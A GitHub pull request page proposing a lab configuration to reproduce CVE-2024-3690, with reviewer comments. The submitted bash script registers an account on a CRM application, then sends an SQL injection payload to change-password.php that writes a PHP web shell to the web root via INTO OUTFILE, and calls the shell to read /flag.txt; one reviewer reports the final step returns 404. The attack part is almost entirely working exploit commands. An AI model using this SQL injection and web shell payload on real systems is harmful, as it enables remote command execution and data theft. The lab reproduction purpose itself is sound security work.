Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add CVE-2024-3690 #43

Open
wants to merge 1 commit into
base: main
Choose a base branch
from
Open

Add CVE-2024-3690 #43

wants to merge 1 commit into from

Conversation

taeseongk
Copy link

Configuration to reproduce CVE-2024-3690. Injects a flag.txt file into the vulnerable machine, then malicious machine injects SQL code to read the contents.

#!/bin/bash

# Register account
curl -X POST -d "name=EliteDN&[email protected]&password=dn123&cpassword=dn123&phone=1234567890&gender=m&submit=1" http://192.168.56.3/crm/registration.php
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Please do not hardcode IP addresses of VMs. You may pass the IP address of ubuntu1 like this:

  command: "/opt/exploit/exploit.sh %ubuntu1%"

And then use $1 inside exploit.sh.

curl -X POST -d "oldpass='+and+1337=1337+union+all+select+\"<?php+echo+shell_exec(\$_GET['cmd']);?>\"INTO+OUTFILE+'/var/www/html/webshell.php'#&newpass=123456&confirmpassword=123456&change=1" http://192.168.56.3/crm/change-password.php

# Return contents of flag.txt
curl "http://192.168.56.3/webshell.php?cmd=cat%20/flag.txt"
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Doesn't work on my side. The final request shows me:

<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.52 (Ubuntu) Server at 192.168.56.3 Port 80</address>
</body></html>

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants